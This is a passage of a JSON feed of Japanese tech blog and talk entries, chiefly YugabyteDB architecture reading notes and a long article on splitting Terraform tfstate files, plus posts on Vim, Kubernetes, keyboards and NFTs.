にしてからやっぱり不便だなあとも思っていました。(Inp","isoDate":"2023-08-12T11:07:01.000Z","dateMiliSeconds":1691838421000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Keyball61のオレオレマッピングを語る","link":"https://blog.atusy.net/2023/08/12/keyball61/","contentSnippet":"たぶんKeyball61ユーザーの中でも珍しい配列をしているだろうと思うので、その背景も含めてまとめておく。右手トラックボールです。親指によるHold & Tap親指はCtrl, Shift, Alt, WinやLayer操作などの修飾キーの操作を担います。","isoDate":"2023-08-12T00:00:00.000Z","dateMiliSeconds":1691798400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"SREからPlatform Engineerへの拡大","link":"https://speakerdeck.com/nwiizo/srekaraplatform-engineerhenokuo-da","contentSnippet":"SREからPlatform Engineerへの拡大 というタイトルで登壇してきました\\r\\rCloud Operator Days Tokyo 2023 運用の新時代 〜Effortless Operation〜\\rhttps://cloudopsdays.com/\\r\\rクラウドインフラ運用技術者のための年次イベント「Cloud Operator Days Tokyo 2023」の見所を紹介\\rhttps://cloud.watch.impress.co.jp/docs/news/1518302.html\\r\\rSREからPlatform Engineerへの拡大 というタイトルで登壇しました - じゃあ、おうちで学べる https://syu-m-5151.hatenablog.com/entry/2023/08/10/150412 \\r\\r登壇しかないので20分しかないのでギュッとしてしまいました。","isoDate":"2023-08-09T04:00:00.000Z","dateMiliSeconds":1691553600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"YugabyteDBのドキュメントを全部読む Day4","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/4_key_concepts_yb_master_service","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > YB-TServer serviceを読みました。今回はArchitecture > Key Concepts > YB-Master serviceを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。YB-Master serviceYB-Masterサービスはテーブルやそのタブレットの場所、ユーザー・ロールの権限といったシステムのメタデータとレコードの管理を行っている。それに加えYB-Masterはロードバランシングやレプリケーションの開始といったバックグラウンドオペレーションの管理や、テーブルのCREATEやALTER、DROPといった様々な管理オペレーションの責任を持つ。YB-MasterはRaft Groupを組むことで高可用性を実現し、またテーブルに対するI/Oの単一障害点にならない。Functions of YB-MasterYB-Masterはシステムの重要な機能を複数持っている。Coordination of universe-wide administrative operationsCREATE TABLEやALTER TABLE、DROP TABLEといったユーザーからのリクエスト処理やバックアップの実行などUniverseをまたぐオペレーション実行の調整を担当している。YB-Masterではこれらのオペレーションがテーブルを保持するYB-TServerの状態に関わらず、全てのテーブルに伝搬されることを保証する。YugabyteDBは分散システムのため、Universeをまたぐ処理中にYB-TServerに障害が発生し一部のタブレットへの適用に失敗してもオペレーションの結果に問題が発生しないことが重要だからである。Storage of system metadataそれぞれのYB-Masterではネームスペースやテーブル、ロール、パーミッション、YB-TServerへ割り当てたテーブル情報を含むシステムメタデータを保存している。これらのシステムレコードはYB-Masterを対象にRaftグループを組みレプリケーションすることで冗長性を実現している。またシステムレコードはYB-Masterが管理するDocDBに保存される。Authoritative source of tablet assignments to YB-TServersYB-Masterは全てのテーブルとそれらをホストするYB-TServerの情報を保存している。一般のクライアントではそれらの情報はクライアントからクエリレイヤなどを通して取得された上で、クライアントにメタデータを返しデータアクセスが行なわれる。一方でスマートクライアントではYB-Masterに保存されたメタデータを利用して特定のYB-TServerが保持するタブレットやキャッシュを利用することが出来るため、データアクセス時のネットワークをまたぐ通信を減らすことができパフォーマンスを高めることができる。Background operationsいくつかのオペレーションはUniverseのライフタイムを通してバックグラウンドで行なうことで、フォアグラウンドのRead/Writeに影響を与えずに実行することが出来る。Data placement and load balancingYB-MasterのリーダーはCREATE TABLE時にタブレットの初期配置をYB-TServerをまたいで行なう。そのときにユーザー定義のデータ配置制約を強制し均一な読み込みを保証する。Universeのライフタイム中のノード追加や障害が発生しても、負荷分散を継続しデータ配置の制約を自動的に適用する。Leader balancing複数のYB-TServerに配置されたタブレットへのアクセスがUniverseをまたいで分散されることを保証している一方で、YB-Masterは対象となるノード1間でそれぞれのノードが同じ数のtablet-peer leader2をもつことを保証する。Rereplication of data on extended YB-TServer failureYB-Masterは全てのYB-TServerからハードビートシグナルを受け取ることでYB-TServerの死活監視を行なっている。そしてYB-MasterはYB-TServerの異常を検知したときに、どれぐらいのあいだYB-TServerが異常であったかを追跡する。閾値を超えると、YB-Masterは障害中のYB-TServerに配置されていたタブレットを再配置するYB-TServerを探し、レプリケーションを実行する。レプリケーションはYB-Masterリーダーに抑制された状態で実行されるため、Universeのフォアグラウンドオペレーションには影響をおよぼさない。Raft Groupのリーダーになれるノード↩↩","isoDate":"2023-08-03T14:48:34.000Z","dateMiliSeconds":1691074114000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について","link":"https://speakerdeck.com/nwiizo/k8sgpt-deep-dive-kuberneteskurasutanoaiqu-dong-xing-fen-xi-nituite","contentSnippet":"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析についてというタイトルで登壇しました\\r\\r2023年8月3日 CloudNative Days Fukuoka 2023\\rhttps://event.cloudnativedays.jp/cndf2023\\r\\rk8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について\\rhttps://event.cloudnativedays.jp/cndf2023/talks/1885\\r\\rK8sGPT Deep Dive というタイトルで登壇しました #CNDF - じゃあ、おうちで学べる \\rhttps://syu-m-5151.hatenablog.com/entry/2023/08/03/155326","isoDate":"2023-08-03T04:00:00.000Z","dateMiliSeconds":1691035200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"YugabyteDBのドキュメントを全部読む Day3","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/3_key_concepts_yb_tserver_service","contentSnippet":"YugabyteDBのドキュメントを全部読む Day3前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > Universeを読みました。今回はArchitecture > Key Concepts > YB-TServer serviceを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。それはそれとして技術系の単語をカタカナ表記で誤魔化していて、体系的に学んでいないことがバレてしまう。特にストレージまわりが分からない……YB-TServer serviceYB-TServer(YugabyteDB Tablet Servcer)はユーザからの受けつけたYugabyteDBクラスタへのリクエストのI/Oの処理をする。テーブルのデータは一つ以上のTablet peerに分割(シャーディング)される。peerの数はレプリケーションファクターによって決定される。YB-TServerは一つ以上のTablet peerをホストする。Tablet peerはRaftグループを形成してグループ間でデータの複製を行ない、タブレットはYB-TServer上で最大の効率になるように管理される。Server-global block cacheブロックキャッシュは一つTB-TServer上の異なるタブレット間で共有される。YB-TServerのメモリ効率は一つのテーブルからの読み込みが多いほど最適化される。Space AmplificationYugabyteDBではSize-tired Compactionというライトアンプリフィケーション1が小さい圧縮方式を利用している。Size-tired Compactionはスペースアンプリフィケーション2が大きいという問題があるが、YugabyteDBではテーブルは複数のタブレットに分割され、タブレット間でのConcurrent Compactionは特定の最大値まで絞られるため問題になりにくい。YugabyteDBでは凡そ10-20%のスペースアンプリフィケーションにおさまる。つまりSize-tired Compaction一単位が扱うデータ量を小さく(タブレット化)して、同時に実行される圧縮処理数を絞ることで特定のタイミングで圧縮に使用されるストレージ容量を抑えているということ?Throttled compactionsYB-TServerではタブレット間で実行される圧縮処理の同時実行数を制限することで、圧縮処理が多量のリソースを占有することを防いでいる。この機能は圧縮されるファイル同士のサイズを比べ、実行される圧縮処理が妥当であることを確認することで実現されている。Small and large compaction queuesYB-TServerでは圧縮処理を大きい圧縮処理と小さい圧縮処理に分けて優先度を決めることで、I/Oが大きな場合でもシステムの機能を保っている。YugabyteDBでは圧縮処理数を制限することに加え、様々な最適化を実行することで圧縮処理の影響を最小化している。Manual compactionYugabyteDBではyb-admin utilityのcompact_tableコマンドにより、任意のタイミングでテーブルに対して圧縮を実行することが出来る。この方法はデータが新しく書き込まれない場合や、DDLやTTLの超過によるデータ削除時によりデータが断片化したときに有効である。Statistics-based full compactions to improve read performanceYugabyteDBでは読み込まれたkey-valueペアをDocDBレベルで監視している。監視対象となる時間軸はauto-compact-stat-window-secondsで管理されている。YugabyteDBがデータ読み込み時に多量の廃棄されたデータのスキップを検知した場合、full compactionがトリガーされ不要なキーの削除が行なわれる。Full compactionがトリガーされる詳細な条件は対象の時間軸で以下が満された時である。廃棄されたキーとアクティブなキーが読まれる割り合いがauto-compact-percent-obsoleteで定義された閾値を超たとき。廃棄されたキーの読み込みauto-compact-min-obsolete-keys-foundで定義された閾値を超たとき。この機能はTTLを設定したテーブルと互換性があり、TTL file expirationが有効なテーブルではスケジュールされた圧縮を実行しない。Scheduled full compactionsYugabyteDBでは全てのデータに対するデータ圧縮をスケジュール実行することが出来る。スケジュール実行はscheduled-full-compaction-frequency-hoursとscheduled-full-compaction-jitter-factor-percentageのフラグで管理される。この機能は大量のDELETEとUPDATEを定常的に実行するワークロードでのパフォーマンスとディスクスペースの再割り当てに有効である。スケジュール化したデータ圧縮はTTLと互換しているが、TTL file expirationとは互換していない。つまりスケジュールされた圧縮は実行されない。Server-global memstore limitServer-global memstore limitは一つのYB-TServer上のタブレット間でシェアされるメモリサイズを追跡し、強制する。この機能はタブレット間の書き込みに偏りがある場合に有効である。一つのテーブルに書き込みが集中しているばあい、メモリ制限以上のメモリを割り当てることでパフォーマンスを向上させることが出来る。Auto-sizing of block cache and memstoreBlock Cacheとmemstoreは何れも多量のメモリを使用している。これらはtablet-peer間で共有されるリソースのため、メモリ管理とこれらのコンポーネントの様々な環境に合せたサイジングを容易にしている。YB-TServerでは自動で特定の割合のメモリをBlock CacheとMemstoreに割り当てる。Distributing tablet load uniformly across data disks複数のSSDを利用するハードウェアでは、テーブルのデータ(SSTable)とWALはテーブル毎に利用可能なディスクに均等に分散される。このストライピングと呼ばれる負荷分散は、それぞれのディスクがそれぞれのテーブルの負荷を均等に処理することを保証する。SSDで実際に書き込んだデータより書き込み量が増幅する現象。もちろんライトアンプリフィケーションが小さいほうが望ましい。↩↩","isoDate":"2023-08-02T16:13:24.000Z","dateMiliSeconds":1690992804000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Hello, Quarto","link":"https://blog.atusy.net/2023/08/01/hello-quarto/","contentSnippet":"本ブログはずっとblogdownを使って書いてきましたが、心機一転quartoで書いてみることにします。といってもblogdownユーザーであれば移行に特に苦労はなさそうです。blogdownはHugoを使ってページを構築するので、quartoとhugoの組み合わせ方を調べ、合わせればOK。","isoDate":"2023-08-01T00:00:00.000Z","dateMiliSeconds":1690848000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"日本語の「っ」から始まる送り仮名とSKK+AZIKによる日本語入力に関する考察","link":"https://blog.atusy.net/2023/08/01/skk-azik-and-sokuon-okuri/","contentSnippet":"始めにSKKという日本語入力システムがある。元々はEmacsというエディタ向けに開発されたものだが、現在では各種OSのIMEや他のエディタの日本語入力システムとしても活用されている。","isoDate":"2023-08-01T00:00:00.000Z","dateMiliSeconds":1690848000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"NFT技術概論","link":"https://speakerdeck.com/shukob/nftji-shu-gai-lun","contentSnippet":"https://event.ospn.jp/osc2023-online-kyoto/session/1049448\\rOSC Onlineにて、ブロックチェーン上で表現されるNFT(Non Fungible Token:代替不能トークン)の技術概要についてお話ししました。\\r\\rブロックチェーン、イーサリアム・スマートコントラクトに触れた後、イーサリアム上でNFTを表現するためのERC721規格や、NFTでは画像データを保存するのに使われる分散ストレージのIPFS(InterPlanetary File System)について解説しています。","isoDate":"2023-07-29T04:00:00.000Z","dateMiliSeconds":1690603200000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"YugabyteDBのドキュメントを全部読む Day2","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/2_key_concepts_universe","contentSnippet":"YugabyteDBのドキュメントを全部読む Day2前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Design goalsを読みました。今回はArchitecture > Key Concepts > Universeを読みます。また画像は同ドキュメントより引用しています。UniverseYugabyteDBは耐久性とスケーラビリティを兼ねそなえた分散データベースを達成するために、Universe1と呼ばれるノードのグループを持っている。Universeはビジネス要件やレイテンシの兼ね合いでシングルゾーン、単一リージョンマルチゾーン、マルチリージョン、同期・非同期レプリケーションなどを選択することが出来る。UnivereはClusterと表現されることもある。データの構成Universeは一つ以上のネームスペースを持つことができ、またネームスペースは一つ以上のテーブルを持つことができる。YugabyteDBではUniverse上に存在するノードにまたがって保持されるテーブルを設定に従って、シャーディングし、レプリケーション、ロードバランシングを行なう。YugabyteDBはノードやディスク、ゾーンなどに発生した障害に自動で対応し、必要であればデータを新規に分散、レプリケーションを行なう。ネームスペースはYSQLではデータベースに対応し、ほかのDBにおけるネームスペースに対応する2。YCQLではキースペースに対応し、Cassandraのキースペースに対応している。サービスコンポーネントUniverseはYugabyteDB Tablet Server(YB-TServer)とYugabyteDB Master Server(YB-Master)の二つで構成されている。YB-MasterとYB-TServerはRaftにより分散されており、高可用性を達成している。YB-Tserverはテーブルを始めとしたユーザーデータの保存、提供を担当する。YB-Masterはシステムのメタデータを管理し、システム全体のテーブルに対するDDLやメンテナンスの実行、ロードバランシングといったオペレーションを管理する。UniverseとClusterUniverseは一つのプライマリクラスタとゼロ個以上のレプリカクラスタによって構成されている。プライマリクラスタプライマリクラスタはRead/Write両方の実行と、プライマリクラスタ内のノード間の同期的なレプリケーションを担当する。リードレプリカクラスタリードレプリカクラスタはRead処理のみを実行する。Write処理は自動的にプライマリクラスタにルーティングされる。リードレプリカクラスタを利用することで、地理的に分散したデータに対する読み取りの遅延を小さくすることができる。データはプライマリクラスタから非同期的にとりこまれる。これはRaftの書き込みには関与しないRaftオブザーバとして機能する。GoogleのCloud Spannerでも同様にUniverseと呼ばれている↩PostgreSQLではSchemaの裏側に存在するデータ構造↩","isoDate":"2023-07-26T15:03:13.000Z","dateMiliSeconds":1690383793000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"YugabyteDBのドキュメントを全部読む Day1","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/1_design_goals","contentSnippet":"Day1最近Twitter改めXで「俺はDBのドキュメント端から端まで読んで強くなった」というX\'s1を複数みかけました。周りのエンジニアに一歩差をつける方法として、フレームワークやミドルウェアやライブラリのドキュメントを最初から最後までちゃんと読む、というのがあって、これはマジでコスパ抜群です。— 徳永広夢 (@tokuhirom) July 21, 2023 確かに私のRedisはこれ。 https://t.co/2y1E01aLGw— maru (@maruloop) July 22, 2023 私のMySQLもこれ。 https://t.co/BxiOjeQVPk— yoku0825 (@yoku0825) July 22, 2023 俺のpostgresqlもこれ。 https://t.co/URRjyXCpGI— そーだい@初代ALF (@soudai1025) July 22, 2023 PostgreSQL系NewSQLで最強になりたいのでYugabyteDBのドキュメントを順番に読んで行きます。ドキュメントはv2.19に対応したものです。手始めにArchitectureの一番先頭にあるDesign goalsから読みはじめます。また画像は同ドキュメントより引用しています。Design goalsYugabyteDBは以下を達成することを目標としている。1. 分散トランザクションを提供しながら強い一貫性を保証する。2. Query APIを再発明せず、既存のクエリ言語への互換を達成する。3. 高いパフォーマンスを保証する。4. 地理的に分散したデプロイを可能にする。5. Cloud Native Databaseとしてデザインする。一貫性分断耐性YugabyteDBはCAPの定理で言えばCPを中心に高い可用性を供えたデータベースネットワーク分断などを起因とするSplit BrainはRaft Group内であたらしいリーダーを選出することで対応している。YugabyteDBではLeader Leaseという障害が発生しても常に一つのリーダが存在することを保証する仕組みを実装している。直列化可能性single-row Linearizable writeをサポートしている。ACIDトランザクションYugabyteDBではSeriarizable、Repetable Read、Read Committed Isolationの三つの分離レベルをサポートしている。YSQL APIではこれら3つの分離レベルをサポートしているが、YCQLではRepeatable Readのみに対応している。Query APIYugabyteDBではYSQLとYCQLという2種類のQuery APIをサポートしている。YSQLYSQLはPostgreSQLに互換したAPIでPostgreSQLのクエリレイヤを再利用している。新しい変更は互換性を崩さない。YSQLは新しいPostgreSQLに互換しつづけることを目標としている。YCQLYCQLはCassandraのクエイ言語から派生した半リレーショナルなクエリ言語で、Webスケールな膨大なwriteに対応してスケールし素早いデータ取得を目標としている。パフォーマンスC++で実装されているため高いパフォーマンスと巨大なHeap(RAM)をCacheとして利用できる。SSDとNVMeに最適化している。高いWriteスループットとクライアントの同時実行性、高いデータ密度、増加し続けるデータへの対応を目標としている。地理的分散Zone、Multi Region、Multi Cloudいずれにも対応している。これに対応するために、ノード障害やトラヒックのルーティングなどに対応できる必要がある。クラウドネイティブアーキテクチャパブリッククラウドやオンプレミスで利用される一般てきなハードウェアで利用可能にする。原子時計のような特別なものに依存しない。Kubernatesに対応している。OSSで提供している。https://twitter.com/SawyerMerritt/status/1683365478582951936↩","isoDate":"2023-07-25T15:01:52.000Z","dateMiliSeconds":1690297312000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Vimでコマンドライン履歴を遡りやすくする","link":"https://blog.atusy.net/2023/07/24/vim-clean-history/","contentSnippet":"本記事はVim 駅伝7/24の記事です。Vimのコマンドラインで、履歴を遡りたい時、:wとか:qaとかが出てきて煩わしく感じることがあります。正直、これくらいシンプルなExコマンドであれば履歴に残しておく意味すら薄いので、履歴に残さない(or 履歴から消す)といいでしょう。","isoDate":"2023-07-24T00:00:00.000Z","dateMiliSeconds":1690156800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Terraformでmapにkeyが含まれないときにスキップしたい","link":"https://zenn.dev/nnaka2992/articles/skip_when_key_does_not_exists_in_map_terraform","contentSnippet":"Google CloudではPublic IPを利用した際に割り振られる可能性のあるCIDRの一覧がcloud.jsonでJSON形式で公開されています。この記事は雑な検証用のTerraformで承認済みネットワークにasia-notheast1のCIDRを全部登録してやろうとしたとき、上記のJSONファイルからscopeがasia-northeast1のprefixes.ipv4Prefixを抜きだそうとしたときにハマったのでその対応方法のメモです 結論以下のような感じで書いたら対応できました。contains(keys(hoge), \\"fuga\\") # hogeのkeyにh...","isoDate":"2023-07-22T14:53:12.000Z","dateMiliSeconds":1690037592000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Kubernetes の upstream のキャッチアップ","link":"https://zenn.dev/toversus/articles/52b107ab103712","contentSnippet":"先日、Kubernetes Meetup Tokyo #59 で「KEP から眺める Kubernetes」というタイトルで発表しました。発表の後で Kubernetes の upstream のキャッチアップ方法について質問を受けました。その場で回答はしたのですが、ちょうど社内の共有会で似たような話をしたところだったので、加筆修正したものを公開しておきます。 はじめにKubernetes の upstream を追いかけ始めて 1 年ちょっと経ったので、その経験をまとめます。Kubernetes の upstream やエコシステムを観察しているだけで、コントリビュータではありま...","isoDate":"2023-07-20T10:18:32.000Z","dateMiliSeconds":1689848312000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Pandoc 3でカスタムライターがとてもよくなった","link":"https://blog.atusy.net/2023/07/14/pandoc-3-custom-writer/","contentSnippet":"様々な文書形式を相互変換するPandocにはカスタムライター・カスタムリーダーという、独自形式の読み書きをサポートする機能があります。Lua言語で記述でき、便利関数も色々と用意されています。","isoDate":"2023-07-14T00:00:00.000Z","dateMiliSeconds":1689292800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud Native の作法","link":"https://speakerdeck.com/nwiizo/cloud-native-nozuo-fa","contentSnippet":"2023年7月13日 \\r\\r成熟度モデルを活用したCloud Nativeへの道筋 という副題で登壇します #開発生産性con_findy\\rhttps://syu-m-5151.hatenablog.com/entry/2023/07/13/131433\\r\\r\\r開発生産性Conference の登壇資料\\rhttps://findy.connpass.com/event/283417/","isoDate":"2023-07-13T04:00:00.000Z","dateMiliSeconds":1689220800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"メールが届いたら Google Home で音声で通知する","link":"https://blog.1q77.com/2023/07/ses-lambda-and-cloud-pubsub/","contentSnippet":"以前、「LINE に送ったメッセージを Google Home に読み上げさせる」という記事を書きました。 その時に作ったものに家にあるラズパイで Cloud PubSub を subscribe してメッセー","isoDate":"2023-07-10T14:25:35.000Z","dateMiliSeconds":1688999135000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"【Terraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80】tfstateファイルの分割パターンとディレクトリ構成への適用","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/07/05/001756","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Terraformのtfstateファイルを分割する目的と、オススメの分割パターンについて (★で表現)Terraformのリポジトリやリモートバックエンドのディレクトリ構成の設計について記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます! この記事から得られる知識01. はじめに02. なぜ tfstate ファイルを分割するのか分割しなかった場合分割した方がいい場合分割しない方がいい場合03. tfstate ファイルの分割分割の境界状態の依存関係図依存関係図とは依存関係の表現▼ 依存関係の表現記法▼ 依存関係がない場合▼ 依存関係がある場合04. tfstate ファイルに基づくその他の設計リポジトリ \uD83D\uDC31 の設計リポジトリ分割ディレクトリ \uD83D\uDCC2 構成リモートバックエンド \uD83E\uDEA3 の設計リモートバックエンド分割ディレクトリ構成05. 状態の依存関係の定義方法terraform_remote_stateブロックの場合terraform_remote_stateブロックによる依存状態の依存関係図リポジトリのディレクトリ構成リモートバックエンドのディレクトリ構成AWSリソース別dataブロックの場合AWSリソース別dataブロックによる依存状態の依存関係図リポジトリのディレクトリ構成リモートバックエンドのディレクトリ構成06. tfstate ファイルの分割パターンオススメな設計の一覧大分類 (上層/下層/中間層) とディレクトリ構成の関係リポジトリの場合リモートバックエンドの場合07. 上層の分割 (推奨)上層の分割についてプロバイダーのアカウント別 - ★★★この分割方法について【プロバイダーアカウント別】状態の依存関係図【プロバイダーアカウント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【プロバイダーアカウント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合08. 下層の分割 (推奨)下層の分割について実行環境別 - ★★★この分割方法について【実行環境別】状態の依存関係図【実行環境別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【実行環境別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンド x AWSアカウント別に異なる実行環境 の場合▼ 同じリモートバックエンド x 単一のAWSアカウント内に全ての実行環境 の場合09. 中間層の分割 (任意)中間層の分割について運用チーム責務範囲別 - ★★この分割方法について【チーム別】状態の依存関係図【チーム別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【チーム別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合プロダクトのサブコンポーネント別 - ★★この分割方法について【サブコンポーネント別】状態の依存関係図【サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別 - ★この分割方法について【チーム別 \xd7 サブコンポーネント別】状態の依存関係図【チーム別 \xd7 サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【チーム別 \xd7 サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合同じテナント内のプロダクト別この分割方法について【同じテナント内のプロダクト】状態の依存関係図【同じテナント内のプロダクト】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【同じテナント内のプロダクト】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合AWSリソースの種類グループ別この分割方法について【種類グループ別】状態の依存関係図【種類グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【種類グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合AWSリソースの状態の変更頻度グループ別この分割方法について【変更頻度グループ別】状態の依存関係図【変更頻度グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【変更頻度グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合10. おわりに謝辞記事関連のおすすめ書籍01. はじめにどうも、Mitchell Hashimoto です。さて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、チームが使っているTerraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80のリポジトリをリプレイスする作業を担当しました。このリポジトリでは単一のtfstateファイルが状態を持ち過ぎている課題を抱えていたため、課題に合った適切な分割パターンでリプレイスしました。今回は、この時に整理した分割パターン (AWS向け) を記事で解説しました。もちろん、GoogleCloudやAzureでも読み換えていただければ、同じように適用できます。知る限りの分割パターンを記載したところ、情報量がエグいことになってしまったため、気になる分割パターンだけ拾って帰っていただけるとハッピーです\uD83D\uDE4Fそれでは、もりもり布教していきます\uD83D\uDE1702. なぜ tfstate ファイルを分割するのか%%{init: { \'theme\': \\"default\\", \'themeVariables\': { \'commitLabelFontSize\': \'13px\' }}}%%gitGraph commit id: \\"8c8e6\\" commit id: \\"0e3c3\\" branch feature/foo checkout feature/foo commit id: \\"4e9e8\\" commit id: \\"da005\\" checkout main branch feature/bar commit id: \\"2d52f\\" checkout main commit id: \\"e74d6\\" branch feature/baz commit id: \\"f6881\\"分割しなかった場合そもそも、なぜtfstateファイルを分割する必要があるのでしょうか。tfstateファイルを分割しなかったと仮定します。様々なインフラコンポーネントを単一のtfstateファイルで状態を持つ場合、1回のterraformコマンド全てのコンポーネントの状態を操作できて楽です。ただし、複数の作業ブランチがある状況だと煩わしいことが起こります。各作業ブランチでインフラコンポーネントの状態を変更しかけていると、他の作業ブランチから影響を受け、terraformコマンドでtargetオプションが必要になってしまいます。他にも、terraformコマンドの完了に時間がかかりすぎるといった問題も起こるかもしれません。単一のtfstateファイルで管理するコンポーネントが多くなるほど、これらの問題は顕著になります。分割した方がいい場合その一方で、tfstateファイルをいい感じに分割したと仮定します。各作業ブランチでは、まるで暗黙的にtargetオプションがついたように、他の作業ブランチから影響を受けずにterraformコマンドを実行できます。よって、各tfstateファイルを操作できる管理者は互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Terraform: Up and Running: Writing Infrastructure as CodeOrganizing With Multiple States - DevOps with Terraform - CloudCasts分割しない方がいい場合運用ルールや開発者人数が理由で作業が衝突せず、targetオプションが必要ない状況であれば、tfstateファイルは分割しなくてもよいでしょう。tfstateファイルを分割するメリットが少ないです\uD83D\uDE45\uD83C\uDFFB‍03. tfstate ファイルの分割分割の境界それでは、tfstateファイルの分割の境界はどのようにして見つければよいのでしょうか。これを見つけるコツは、できるだけ相互に依存しないインフラリソースの関係 に注目することだと考えています。ここでいう依存とは、\\"tfstateファイルが他のtfstateファイルの状態を使用すること\\" です。もう少し具体的に言語化すると、\\"特定のインフラリソースが他の設定値を参照すること\\" です。状態をほとんど使用し合わない (互いに設定値の参照数が少ない) インフラリソース同士を、異なるtfstateファイルで管理します。異なるtfstateファイルで管理できる分割パターンについては後述します。▶ 『依存』という用語についてtfstateファイルでも同じ用語で表現することにしました。@tmknom さんが述べている通り、Terraformをよりよく設計するためには、『ソフトウェアの基礎知識』が必要です\uD83D\uDC4D状態の依存関係図依存関係図とは分割したtfstateファイル間の状態の依存関係を表現した図です。プロバイダーのアカウントの状態をtfstateファイルで管理していることを想像してみてください。%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWSアカウント foo[\\"tfstateファイル\\"] end似たものとしてterraform graphコマンドによるグラフがありますが、これはインフラリソース間の依存関係図です。tfstateファイル間で相互に依存関係があるからといって、個別のインフラリソース間で循環参照が起こってしまうというわけではないです。続いて、依存関係がある場合と無い場合で、どのような依存関係図になるかを紹介していきます。Command: graph | Terraform | HashiCorp Developer依存関係の表現▼ 依存関係の表現記法tfstateファイル間で状態の依存関係がある場合、これを図で表現すると分割の状況がわかりやすくなります。『依存』は、---> (波線矢印) で表現することとします。依存関係がある場合については、後述します。▶ 『依存』の波線矢印について---> (波線矢印) で表現します。そのため便宜上、tfstateファイルでも同じ記号で表現することにしました\uD83D\uDC4D▼ 依存関係がない場合例えば、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、 tfstate ファイル間に依存関係はないとします。そのため、想定される状態の依存関係図は以下の通りになります。tfstateファイル間に依存関係がない状況がベストです。---title: tfstateファイル間に依存関係はない---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWSアカウント foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end▼ 依存関係がある場合同様に分割したと仮定します。ここで仮定した状況では、 foo-tfstate ➡︎ bar-tfstate の方向に依存しているとします。そのため、---> (波線矢印) を使用して、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: foo-tfstateファイルは、bar-tfstateファイルに依存---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph AWSアカウント foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. 依存 .-> bar04. tfstate ファイルに基づくその他の設計リポジトリ \uD83D\uDC31 